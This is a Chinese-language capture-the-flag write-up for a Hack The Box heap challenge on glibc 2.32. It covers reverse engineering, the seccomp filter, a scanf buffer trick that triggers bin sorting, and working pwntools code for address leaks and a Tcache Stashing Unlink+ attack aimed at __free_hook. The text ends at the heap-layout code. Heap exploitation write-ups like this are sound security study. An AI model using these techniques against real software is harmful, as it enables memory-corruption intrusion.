前言

Dream Chapter系列4道题,从简单到疯狂,只做了前3道,都很有收获,最后这道也补上吧

难度 INSANE 的堆题,这里提出一个比网上WP更好用的TSU+打法,以及独一份的详解scanf内部机制利用分析,详见相关章节

本文亮点:堆风水布局,scanf内部机制利用,劫持 free hook 利用 COP + setcontext 完成栈迁移,转换x32 shellcode绕沙箱,无execve读取flag文件

留一个小问题(文内给出答案):只能申请相同size的chunk,如何触发sorting让chunk进入smallbin或largebin?

题目情况

题目来源:Hack The Box Challenge(INSANE 难度)

题目描述:I keep getting pwned with my heap note applications. My boss was extremely frustrated and shipped me off to coding bootcamp, in order to learn about efficient data structures and better security practices. Try to pop a shell on this "circular" diary now. Featuring libc-2.32, better seccomp filters, and extra anti-hacking measures, this application is quite literally un-hackable now. But I need a skilled PWNer like you to prove whether it's secure or not. Unless you wouldn't mind my boss paying me in small cash from now on of course... :)

保护全开,libc-2.32 版本(该版本引入指针加密机制)

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./'
    Stripped:   No

逆向分析

init_array:2个init时函数

.init_array:0000000000003D28 __frame_dummy_init_array_entry dq offset frame_dummy
.init_array:0000000000003D28                                         ; DATA XREF: LOAD:00000000000001D8↑o
.init_array:0000000000003D28                                         ; LOAD:0000000000000210↑o ...
.init_array:0000000000003D28                                         ; Alternative name is '__init_array_start'
.init_array:0000000000003D30                 dq offset setup
.init_array:0000000000003D38                 dq offset protect_init
.init_array:0000000000003D38 _init_array     ends

这里主要是protect_init:

int (**protect_init())(const char *s)
{
  int (**result)(const char *); // rax

  seccomp_init();                               // 沙箱
  boundary_start = (&puts + 0x28F7E);           // 内存申请边界设置
  result = &puts + 0x2957E;
  boundary_end = (&puts + 0x2957E);
  return result;
}

设置沙箱,设定一个地址边界保存到全局变量里,后续在add函数里会用到

沙箱:黑名单沙箱,没有限制架构

bin ➤ seccomp-tools dump ./diary4
📔 Welcome to Dream Diary Chapter 4 📔
I hope you enjoy this new fancy upgrade into circular diaries with even more protective measures! 😈
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0015
 0014: 0x06 0x00 0x00 0x00000000  return KILL
 0015: 0x15 0x00 0x01 0x00000057  if (A != unlink) goto 0017
 0016: 0x06 0x00 0x00 0x00000000  return KILL
 0017: 0x15 0x00 0x01 0x00000058  if (A != symlink) goto 0019
 0018: 0x06 0x00 0x00 0x00000000  return KILL
 0019: 0x15 0x00 0x01 0x00000136  if (A != process_vm_readv) goto 0021
 0020: 0x06 0x00 0x00 0x00000000  return KILL
 0021: 0x15 0x00 0x01 0x00000137  if (A != process_vm_writev) goto 0023
 0022: 0x06 0x00 0x00 0x00000000  return KILL
 0023: 0x15 0x00 0x01 0x00000086  if (A != uselib) goto 0025
 0024: 0x06 0x00 0x00 0x00000000  return KILL
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
"""

main函数,菜单题:

int __usercall main@<eax>(int argc@<edi>, const char **argv@<rsi>, const char **envp@<rdx>)
{
  int v4; // [rsp+2Ch] [rbp-4h] BYREF

  while ( 1 )
  {
    menu();
    printf("choice: ");
    if ( !__isoc99_scanf("%d", &v4) )
      break;
    switch ( v4 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();                               // UAF
        break;
      case 3:
        move();                                 // 移动current指针向左或者向右n个
        break;
      case 4:
        print();                                // 打印current的内容
        break;
      case 5:
        edit();                                 // 修改
        break;
      case 6:
        puts("馃槶 Is this diary not good enough?");
        _exit(0);
      default:
        puts("馃槧 I don't understand that choice");
        break;
    }
  }
  bad_choice();
}

add:两种类型的申请模式,只读(malloc)和可读可写(calloc),申请大小固定,通过双向链表管理申请的page,通过current全局变量管理当前控制的page

注意,malloc申请不会清空内存,calloc申请会清空内存

int add()
{
  int type; // [rsp+4h] [rbp-1Ch] BYREF
  page *current; // [rsp+8h] [rbp-18h]
  page *bk; // [rsp+10h] [rbp-10h]
  page *fd; // [rsp+18h] [rbp-8h]

  if ( count > 9 )                              // 计数
    return puts("馃槖 you cannot add anymore pages");
  puts("adding a page");
  perm_menu();                                  // 两种添加模式
  printf("choice: ");
  if ( !__isoc99_scanf("%d", &type) )
    bad_choice();
  if ( type == 2 )
  {
    if ( rw_pages > 0x13 )                      // rw类型
      return puts("馃槖 the pencil ran out of lead");
    current = calloc(1u, 0x320u);               // calloc 从 smallbin 和 unsortedbin 分配
    current->type = 2;
    ++rw_pages;
  }
  else
  {
    if ( type != 1 )                            // rd类型
      bad_choice();
    if ( rdonly_pages > 0x13 )
      return puts("馃槖 the marker ran out of ink");
    current = malloc(0x320u);                   // malloc 从 tcachebin先开始分配
    current->type = 1;
    ++rdonly_pages;
  }
  no_hax_pls(current);                          // 范围约束,不能申请到指定的范围里
  if ( count )
  {
    traverse_and_select();                      // 会修改到全局变量::current的值和mode的值
                                                // chunk末尾维护了一个循环双向链表,可以手动选择插入链表左边或者右边
    if ( mode )                                 // 先移动指针再插入
    {
      bk = ::current->bk;
      bk->fd = current;                         // 往current前插入
      ::current->bk = current;
      current->bk = bk;
      current->fd = ::current;
    }
    else
    {
      fd = ::current->fd;
      fd->bk = current;                         // 往current后插入
      ::current->fd = current;
      current->bk = ::current;
      current->fd = fd;
    }
  }
  else
  {
    current->fd = current;
    current->bk = current;
  }
  ::current = current;                          // 新的current
  printf("input data for the page: ");
  read(0, ::current->buf_, 0x308u);             // 无溢出
  ::current->buf_[0x307] = 0;                   // 末位写入\x00
  return ++count;
}

申请的结构体:

00000000 struct page // sizeof=0x320
00000000 {
00000000     __int64 type;
00000008     char buf_[776] __strlit(C,"CP936");
00000310     __int64 fd;
00000318     __int64 bk;
00000320 };

traverse_and_select函数:切换current指向的page:

__int64 traverse_and_select()
{
  int j; // [rsp+4h] [rbp-Ch]
  int i; // [rsp+8h] [rbp-8h]
  int num_traverse; // [rsp+Ch] [rbp-4h]

  num_traverse = get_num_traverse();
  if ( num_traverse < 0 )
    bad_choice();
  l_or_r();
  if ( mode )
  {
    puts("traversing rightwards");
    for ( i = 0; i < num_traverse; ++i )
      current = current->bk;                    // 取值到current
  }
  else
  {
    puts("traversing leftwards");
    for ( j = 0; j < num_traverse; ++j )
      current = current->fd;
  }
  return num_traverse;
}

l_or_r:设置mode的值,也就是current向前还是向后移动

__int64 l_or_r()
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("right or left: ");
  buf[(read(0, buf, 0x10u) - 1)] = 0;
  if ( !strcmp(buf, "left") )
  {
    mode = 0;
    return 0;
  }
  else
  {
    if ( strcmp(buf, "right") )
      bad_choice();
    mode = 1;
    return 1;
  }
}

no_hax_pls 函数,申请的内存不能在这个范围里

__int64 __fastcall no_hax_pls(_QWORD *current)
{
  __int64 boundary_start; // rax

  boundary_start = boundary_start;
  if ( current >= boundary_start )
  {
    boundary_start = boundary_end;
    if ( current <= boundary_end )
    {
      puts("馃槨 HACKING DETECTED 馃槨 ");
      _exit(-1);
    }
  }
  return boundary_start;
}

这个范围是刚好覆盖libc.so.6的第一个rw的段

pwndbg> x/2xga $rebase(0x4148)
0x5627909b5148 <boundary_start>:        0x7ff1a6b0a000  0x7ff1a6b0d000 <initial_quick+576>

pwndbg> vmmap
...
    0x7ff1a694c000     0x7ff1a6972000 r--p    26000      0 libc.so.6
    0x7ff1a6972000     0x7ff1a6ab9000 r-xp   147000  26000 libc.so.6
    0x7ff1a6ab9000     0x7ff1a6b06000 r--p    4d000 16d000 libc.so.6
    0x7ff1a6b06000     0x7ff1a6b07000 ---p     1000 1ba000 libc.so.6
    0x7ff1a6b07000     0x7ff1a6b0a000 r--p     3000 1ba000 libc.so.6
    0x7ff1a6b0a000     0x7ff1a6b0d000 rw-p     3000 1bd000 libc.so.6
    0x7ff1a6b0d000     0x7ff1a6b13000 rw-p     6000      0 [anon_7ff1a6b0d]

对于常见的攻击目标,只有free hook可以用,这应该是作者特意指定只能用free hook去打

bad_choices 会直接退出

delete:UAF漏洞,这个漏洞存在的很不起眼,在delete的流程中,检查count,也就是当前管理的page,如果不为1,就堆current进行断链然后释放,释放后根据traverse_and_select的结果决定将current指针移动到前面还是后面,如果当前管理的page为1,则直接释放,current清零

int delete()
{
  page *current; // [rsp+8h] [rbp-18h]
  page *fd; // [rsp+10h] [rbp-10h]
  page *bk; // [rsp+18h] [rbp-8h]

  if ( !count || !::current )
    return puts("馃槖 huh? you cannot delete what doesn't exist");
  puts("deleting a page");
  if ( traverse_and_select() || count != 1 )    // 链上总数不为1的时候,选择移动current到左边或者右边
                                                // 总数为1 设置了移动 就会进入if
  {
    fd = ::current->fd;                         // 将当前current断链
    bk = ::current->bk;
    fd->bk = bk;
    bk->fd = fd;
    if ( mode )
      current = bk;
    else
      current = fd;
    free(::current);                            // 释放内存
    ::current = current;                        // 修改current指向
                                                // 有机会修改指向一个释放了chunk
  }
  else                                          // 最后一个节点的时候,释放掉
  {
    free(::current);                            // 释放内存
    ::current = 0;                              // 清空指针
  }
  puts("page deleted");
  return --count;
}

当traverse_and_select返回不为0,且count==1的时候,依然会进入断链的流程,此时管理的链表就只剩下1个page,所以不管移动多少,current都指向这个释放了的chunk,在不检查count的流程中,就可以UAF操作释放了的chunk

move:移动current指针

int move()
{
  if ( !count || !current )
    return puts("馃槖 huh? you cannot move what doesn't exist");
  puts("switching pages");
  return traverse_and_select();
}

print:打印current->buf的内容

int print()
{
  if ( !count || !current )
    return puts("馃槖 huh? you cannot print what doesn't exist");
  puts("dumping some writings from the diary: ");
  return puts(current->buf_);
}

edit:修改current->buf的内容,不检查count数量,是触发UAF的地方,可以进行一次UAF写

int edit()
{
  int current; // eax

  if ( !current )
    return puts("馃槖 huh? you cannot edit what doesn't exist");
  if ( current->type == 1 )                     // calloc申请的不给修改,type=1只读
    return puts("馃槖 huh? you cannot edit a page written by marker");
  puts("editing a page");
  printf("input data for the page: ");
  read(0, current->buf_, 0x308u);               // 输入内容
  current = current;
  current->buf_[0x307] = 0;                     // 重新写入数据,无溢出
  return current;
}

总结一下菜单功能:

  1. add:申请一个chunk填充page结构,有calloc和malloc两种,只能申请0x320大小,通过双链表管理chunk,通过current指针控制chunk,有内存申请范围检查
  2. delete:释放current指向的chunk,存在UAF,需要配合edit使用,只能对最后释放的chunk进行UAF写
  3. move:移动current指针
  4. print:打印current->buf的内容
  5. edit:修改current->buf的内容

利用分析

当前情况分析:

  • 在libc-2.32版本下,存在 safe-linking 指针机制,tcache chunk的next指针需要进行加密,需要泄露heap地址才能利用
  • 题目限定申请内存范围,对于任意地址写来说,可攻击的目标只有free hook
  • 题目存在沙箱,没有限制架构,意味着可以retfq切换架构调用x32的syscall,沙箱没有禁mprotect和mmap,存在自己修改内存属性写入shellcode执行的可能性
  • UAF-W可以进行一次指针修改,page结构体的存在意味着,只能修改chunk的+8偏移处,对于tcachebin chunk无法修改next指针,对于unsortedbin chunk和largebin chunk修改bk指针的利用方法分别在2.29和2.31进行了修复,largebin attack的结果是任意地址写入堆地址,需要操纵同一个范围的largebin size,这点无法满足,所以只剩下针对smallbin的TSU+技巧可以用了

梳理思路:具体细节和问题到对应的时候再细说

  1. 通过malloc分配不会清空内存的特性得到heap和libc address leak
  2. TSU+得到任意地址分配,打free hook
  1. 需要目标地址+0x18是一个可写的指针,free hook附近不存在这样的指针,所以可以打heap chunk,这里不同于网上的wp,直接打tcache_prethread_struct顺便绕过safe-linking指针保护机制
  2. 利用scanf缓冲区来触发sorting机制
  1. 劫持了free hook指针之后,想办法栈迁移
  2. 栈迁移后打ROP去mprotect得到可执行内存,写入shellcode切换x86架构执行x86 shellcode 绕过seccomp沙箱
  3. 拿到shell后,绕过seccomp沙箱禁用execve来读取flag

libc & heap address leak(堆布局

利用largebin chunk的残留数据配合print功能,就可以泄露出来地址

由于只能申请走0x330的chunk,填满 tcachebin 后,释放得到unsortedbin chunk可以进行合并,要小心不要合并到 top chunk了

申请9个chunk,释放前6个和最后1个来填充tcachebin:

pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x55fa5ea74000      0x0                 0x290                Used                None              None
0x55fa5ea74290      0x0                 0x330                Freed     0x55ff0102b654              None
0x55fa5ea745c0      0x0                 0x330                Freed     0x55ff0102a8d4              None
0x55fa5ea748f0      0x0                 0x330                Freed     0x55ff0102afa4              None
0x55fa5ea74c20      0x0                 0x330                Freed     0x55ff0102a374              None
0x55fa5ea74f50      0x0                 0x330                Freed     0x55ff0102a644              None
0x55fa5ea75280      0x0                 0x330                Freed     0x55ff0102a515              None
0x55fa5ea755b0      0x0                 0x330                Used                None              None
0x55fa5ea758e0      0x0                 0x330                Used                None              None
0x55fa5ea75c10      0x0                 0x330                Freed        0x55fa5ea75              None

释放剩下2个chunk得到unsortedbin chunk(0x660):

pwndbg> heapinfo
...
                  top: 0x55fa5ea75f40 (size : 0x1f0c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x55fa5ea755b0 (size : 0x660)
(0x330)   tcache_entry[49](7): 0x55fa5ea75290 --> 0x55fa5ea74f60 --> 0x55fa5ea74c30 --> 0x55fa5ea74900 --> 0x55fa5ea745d0 --> 0x55fa5ea742a0 --> 0x55fa5ea75c20

接下来要让该unsortedbin chunk被sorting到largebin中

我们需要申请更大的chunk来触发

巧用 scanf 内部机制

PS:不想看分析的直接跳到本节末尾,有结论

在ida逆向伪代码中,我们貌似没有任何方式可以malloc一个更大的内存来触发sorting机制让unsortedbin chunk进入largebin

但是别忘了,我们可控输入的还有scanf,我们的输入会进入scanf的缓冲区

在scanf内部实现中,使用结构体保存用户输入缓冲:

/* Scratch buffer.  Must be initialized with scratch_buffer_init
   before its use.  */
struct scratch_buffer {
  void *data;    /* Pointer to the beginning of the scratch area.  */
  size_t length; /* Allocated space at the data pointer, in bytes.  */
  union { max_align_t __align; char __c[1024]; } __space;
};

struct char_buffer {
  CHAR_T *current;
  CHAR_T *end;
  struct scratch_buffer scratch;
};

在scanf读取%d的时候,相关源码如下(基于glibc-2.39,本题目是2.32但是相通的)

// __vfscanf_internal
#ifdef COMPILE_WSCANF
int
__vfwscanf_internal (FILE *s, const wchar_t *format, va_list argptr,
             unsigned int mode_flags)
#else
int
__vfscanf_internal (FILE *s, const char *format, va_list argptr,
            unsigned int mode_flags)
#endif
{
  va_list arg;
  const UCHAR_T *f = (const UCHAR_T *) format;
  UCHAR_T fc;	/* Current character of the format.  */
  WINT_T done = 0;	/* Assignments done.  */
  size_t read_in = 0;	/* Chars read in.  */
  WINT_T c = 0;	/* Last char read.  */
  int width;		/* Maximum field width.  */
  int flags;		/* Modifiers for current format element.  */
#ifndef COMPILE_WSCANF
...
  struct char_buffer charbuf;
  scratch_buffer_init (&charbuf.scratch);
...

    case L_('d'):	/* Signed decimal integer.  */
      base = 10;
      flags |= NUMBER_SIGNED;
      goto number;

...

    number:
      c = inchar ();
      if (__glibc_unlikely (c == EOF))
        input_error ();

      /* Check for a sign.  */
      if (c == L_('-') || c == L_('+'))
        {
          char_buffer_add (&charbuf, c);
          if (width > 0)
        --width;
          c = inchar ();
        }

...
          /* Read the number into workspace.  */
          while (c != EOF && width != 0)
        {
...
          char_buffer_add (&charbuf, c);
          if (width > 0)
            --width;

          c = inchar ();
        }
...

首先是缓冲区初始化:scratch_buffer_init,设置栈缓冲区地址在data指针,计算length

/* Initializes *BUFFER so that BUFFER->data points to BUFFER->__space
   and BUFFER->length reflects the available space.  */
static inline void
scratch_buffer_init (struct scratch_buffer *buffer)
{
  buffer->data = buffer->__space.__c;
  buffer->length = sizeof (buffer->__space);
}

scanf会逐个读取输入的字符,遇到%符号,进入switch语句做不同的处理,例如%d,进入number部分进行处理,会通过while循环逐个读取字符通过char_buffer_add添加到缓冲区里

在char_buffer_add中,有一个判断,当前缓冲区是否满了:

static inline void
char_buffer_add (struct char_buffer *buffer, CHAR_T ch)
{
  if (__glibc_unlikely (buffer->current == buffer->end))
    char_buffer_add_slow (buffer, ch);
  else
    *buffer->current++ = ch;
}

如果缓冲区满了,调用char_buffer_add_slow函数进行处理,做缓冲区扩展:

/* Slow path for char_buffer_add.  */
static void
char_buffer_add_slow (struct char_buffer *buffer, CHAR_T ch)
{
  if (char_buffer_error (buffer))
    return;
  size_t offset = buffer->end - (CHAR_T *) buffer->scratch.data;
  if (!scratch_buffer_grow_preserve (&buffer->scratch))
    {
      buffer->current = NULL;
      buffer->end = NULL;
      return;
    }
  char_buffer_rewind (buffer);
  buffer->current += offset;
  *buffer->current++ = ch;
}

通过scratch_buffer_grow_preserve函数进行处理:第一次增长通过malloc分配,第二次通过realloc分配

bool
__libc_scratch_buffer_grow_preserve (struct scratch_buffer *buffer)
{
  size_t new_length = 2 * buffer->length;
  void *new_ptr;

  if (buffer->data == buffer->__space.__c)  // 如果缓冲区是初始的缓冲区
    {
      /* Move buffer to the heap.  No overflow is possible because
     buffer->length describes a small buffer on the stack.  */
      new_ptr = malloc (new_length);      // 重新分配一个2倍大小的缓冲区
      if (new_ptr == NULL)
    return false;
      memcpy (new_ptr, buffer->__space.__c, buffer->length);  // 复制原本的内容进去
    }
  else  // 如果不是初始的缓冲区
    {
      /* Buffer was already on the heap.  Check for overflow.  */
      if (__glibc_likely (new_length >= buffer->length))  // 新的长度是否大于原来的长度 
    new_ptr = realloc (buffer->data, new_length); // 分配新的内存
      else
    {
      __set_errno (ENOMEM);
      new_ptr = NULL;
    }

      if (__glibc_unlikely (new_ptr == NULL))
    {
      /* Deallocate, but buffer must remain valid to free.  */
      free (buffer->data);
      scratch_buffer_init (buffer);
      return false;
    }
    }

  /* Install new heap-based buffer.  */
  buffer->data = new_ptr;
  buffer->length = new_length;
  return true;
}
libc_hidden_def (__libc_scratch_buffer_grow_preserve)

初始下的缓冲区大小是0x400在栈上

第一次扩展的时候,通过malloc分配初始size*2=0x800的空间在堆上

第二次扩展的时候,通过realloc分配当前size*2的空间

所以只要我们输入超过0x400字节且不足0x800的数字,就可以触发一次0x800的malloc

如果超过0x800,进入realloc,则会申请一块新内存,复制数据,释放旧内存,反而使得旧内存又进入unsortedbin chunk了

libc & heap address leak

在之前的布局基础之上,输入0x700个1作为菜单选项,即可触发sorting

pwndbg> largebins
largebins
0x640-0x670: 0x55fa5ea755b0 —▸ 0x7f5692c8a080 (main_arena+1248) ◂— 0x55fa5ea755b0

得到largebin chunk

我原本尝试将3个chunk合并的0x990的unsortedbin chunk进行sorting到largebin,但是失败了,只能对0x800以内的chunk进行sorting!!

接下来只需要申请一个通过malloc申请的内存覆盖其数据即可完成泄露:

for i in range(9):
    add(2,0,'left',b'A')

dele(0,'left')
for i in range(6):
    dele(0,'left')
    
dele(1,'right')
dele(1,'right')

for i in range(7):
    add(1,0,'left',b'A2')
cmd(b"1"*0x700)


add(1,0,'left',b'')
show()
ru(b"diary: \n")
leak = r(6)
leak = unpack(leak,"all")
libc.address = leak -0x1bf00a
success(f"libc.address: {hex(libc.address)}")

dele(0,'left')
add(1,0,'left',b'aaaaaaa')
show()
ru(b"diary: \n")
leak = r(6+8)[8:]
leak = unpack(leak,"all")
heapbase = leak  -0x15b0
success(f"libc.address: {hex(libc.address)}")
success(f"heap.address: {hex(heapbase)}")

Tcache Stashing Unlink Attack plus (TSU+)

TSU+技巧是针对smallbin的常用打法,在malloc申请small size chunk的时候,会有如下逻辑:

#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache != NULL && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)  // 取最后一个 smallbin chunk
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;  // 取出 chunk 的 bk 指针
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
                set_non_main_arena (tc_victim);
              bin->bk = bck;  // 断链该chunk
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
            }
        }
    }

当对应的chunk size 的 tcachebin 没有满 且 smallbin 中剩的还有的时候

就会对最后一个chunk从smallbin断链,加入tcachebin中

添加过程:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache_key;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

设置next和key字段,装入数组中

last的逻辑:

#define last(b) ((b)->bk)

按理说,最后一个smallbin最终只剩下1个的时候,其fd和bk都指向bin

但是修改最后一个还没加入tcache的smallbin的bk时,就会将其bk修改到bin->bk里:bin->bk = bck;

在下次循环中被当作tc_victim加入tcachebin中

只要控制好数量,就能刚好在伪造的chunk指针加入tcachebin中之后,退出循环

因为last (bin)的在循环条件判断的问题,需要伪造的地址指针+0x18偏移处存在可访问内存

TSU+ 攻击 tcache_prethread_struct 达成任意地址分配

刚好程序UAF漏洞控制的就是最后一个释放的chunk的内容

我们只需要堆风水如下,即可进行TSU+利用:

smallbin chunk
tcachebin chunk
smallbin chunk
tcachebin chunk
smallbin chunk
tcachebin chunk
tcachebin chunk
used chunk
used chunk
used chunk

布局如下:

pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x56038814f000      0x0                 0x290                Used                None              None
0x56038814f290      0x0                 0x330                Freed     0x56038814f8f0    0x7f42b5d19f20
0x56038814f5c0      0x330               0x330                Freed     0x5606e82d8d6f              None
0x56038814f8f0      0x0                 0x330                Freed     0x56038814ff50    0x56038814f290
0x56038814fc20      0x330               0x330                Freed     0x5606e82c749f              None
0x56038814ff50      0x0                 0x330                Freed     0x7f42b5d19f20    0x56038814f8f0
0x560388150280      0x330               0x330                Freed     0x5606e82d8490              None
0x5603881505b0      0x0                 0x330                Freed     0x5606e82d89a0              None
0x5603881508e0      0x0                 0x330                Freed     0x5606e82d8e00              None
0x560388150c10      0x0                 0x330                Freed     0x5606e82d83c0              None
0x560388150f40      0x0                 0x330                Freed        0x560388150              None

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x560388151270 (size : 0x1ed90)
       last_remainder: 0x5603881508e0 (size : 0x330)
            unsortbin: 0x0
(0x330)  smallbin[49]: 0x56038814f290  <--> 0x56038814f8f0  <--> 0x56038814ff50
(0x330)   tcache_entry[49](7): 0x56038814fc30 --> 0x56038814f5d0 --> 0x560388150c20 --> 0x560388150290 --> 0x5603881505c0 --> 0x5603881508f0 --> 0x560388150f50

0x56038814f290我们可控,修改其bk指向一个+0x18偏移处可访问内存的目标

由于在free hook附近不存在这样的目标,我们可以考虑打tcache

网上解法是控制一个tcache chunk,自己计算指针加密来绕过safe-linking机制,通过申请内存触发 tcache poisoning 去分配内存打free hook

这里提出一个更优的解法:直接打tcache_prethread_struct结构体,直接无视safe-linking机制的存在

内存中的结构:

0x56038814f000  0x0000000000000000      0x0000000000000291      ................
0x56038814f010  0x0000000000000000      0x0000000000000000      ................
0x56038814f020  0x0000000000000000      0x0000000000000000      ................
0x56038814f030  0x0000000000000000      0x0000000000000000      ................
0x56038814f040  0x0000000000000000      0x0000000000000000      ................
0x56038814f050  0x0000000000000000      0x0000000000000000      ................
0x56038814f060  0x0000000000000000      0x0000000000000000      ................
0x56038814f070  0x0000000000070000      0x0000000000000000      ................
0x56038814f080  0x0000000000000000      0x0000000000000000      ................
0x56038814f090  0x0000000000000000      0x0000000000000000      ................
0x56038814f0a0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0b0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0c0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0d0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0e0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0f0  0x0000000000000000      0x0000000000000000      ................
0x56038814f100  0x0000000000000000      0x0000000000000000      ................
0x56038814f110  0x0000000000000000      0x0000000000000000      ................
0x56038814f120  0x0000000000000000      0x0000000000000000      ................
0x56038814f130  0x0000000000000000      0x0000000000000000      ................
0x56038814f140  0x0000000000000000      0x0000000000000000      ................
0x56038814f150  0x0000000000000000      0x0000000000000000      ................
0x56038814f160  0x0000000000000000      0x0000000000000000      ................
0x56038814f170  0x0000000000000000      0x0000000000000000      ................
0x56038814f180  0x0000000000000000      0x0000000000000000      ................
0x56038814f190  0x0000000000000000      0x0000000000000000      ................
0x56038814f1a0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1b0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1c0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1d0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1e0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1f0  0x0000000000000000      0x0000000000000000      ................
0x56038814f200  0x0000000000000000      0x0000000000000000      ................
0x56038814f210  0x0000000000000000      0x000056038814fc30      ........0....V..
0x56038814f220  0x0000000000000000      0x0000000000000000      ................
0x56038814f230  0x0000000000000000      0x0000000000000000      ................
0x56038814f240  0x0000000000000000      0x0000000000000000      ................
0x56038814f250  0x0000000000000000      0x0000000000000000      ................
0x56038814f260  0x0000000000000000      0x0000000000000000      ................
0x56038814f270  0x0000000000000000      0x0000000000000000      ................
0x56038814f280  0x0000000000000000      0x0000000000000000      ................

可见,直接分配在heapbase+0x200的地方,即可满足+0x18偏移存在可访问内存指针的条件

同时还可以控制该位置的值:

pwndbg> vis 1

0x56038814f000  0x0000000000000000      0x0000000000000291      ................
0x56038814f010  0x0000000000000000      0x0000000000000000      ................
0x56038814f020  0x0000000000000000      0x0000000000000000      ................
0x56038814f030  0x0000000000000000      0x0000000000000000      ................
0x56038814f040  0x0000000000000000      0x0000000000000000      ................
0x56038814f050  0x0000000000000000      0x0000000000000000      ................
0x56038814f060  0x0000000000000000      0x0000000000000000      ................
0x56038814f070  0x0000000000070000      0x0000000000000000      ................
0x56038814f080  0x0000000000000000      0x0000000000000000      ................
0x56038814f090  0x0000000000000000      0x0000000000000000      ................
0x56038814f0a0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0b0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0c0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0d0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0e0  0x0000000000000000      0x0000000000000000      ................
0x56038814f0f0  0x0000000000000000      0x0000000000000000      ................
0x56038814f100  0x0000000000000000      0x0000000000000000      ................
0x56038814f110  0x0000000000000000      0x0000000000000000      ................
0x56038814f120  0x0000000000000000      0x0000000000000000      ................
0x56038814f130  0x0000000000000000      0x0000000000000000      ................
0x56038814f140  0x0000000000000000      0x0000000000000000      ................
0x56038814f150  0x0000000000000000      0x0000000000000000      ................
0x56038814f160  0x0000000000000000      0x0000000000000000      ................
0x56038814f170  0x0000000000000000      0x0000000000000000      ................
0x56038814f180  0x0000000000000000      0x0000000000000000      ................
0x56038814f190  0x0000000000000000      0x0000000000000000      ................
0x56038814f1a0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1b0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1c0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1d0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1e0  0x0000000000000000      0x0000000000000000      ................
0x56038814f1f0  0x0000000000000000      0x0000000000000000      ................
0x56038814f200  0x0000000000000000      0x0000000000000000      ................
0x56038814f210  0x00005606e82c73ef      0x000056038814f210      .s,..V.......V..         <-- tcachebins[0x330][0/7]
0x56038814f220  0x0000000000000000      0x0000000000000000      ................
0x56038814f230  0x0000000000000000      0x0000000000000000      ................
0x56038814f240  0x0000000000000000      0x0000000000000000      ................
0x56038814f250  0x0000000000000000      0x0000000000000000      ................
0x56038814f260  0x0000000000000000      0x0000000000000000      ................
0x56038814f270  0x0000000000000000      0x0000000000000000      ................
0x56038814f280  0x0000000000000000      0x0000000000000000      ................
0x56038814f290  0x0000000000000000                              ........

这部分的代码:

# 凑够10个 chunk
add(2,0,'left',b'p2-1')
add(2,0,'left',b'p2-2')
# 释放tcache填满
dele(0,'left')
dele(1,"right")
dele(0,"right")
dele(0,"right")
dele(0,"right")

dele(1,"right")
dele(1,"right")
# 释放unsortedbin chunk
dele(0,"right")
dele(1,"right")
# sorting into smallbin
cmd(b"1"*0x700)
dele(100,"right")
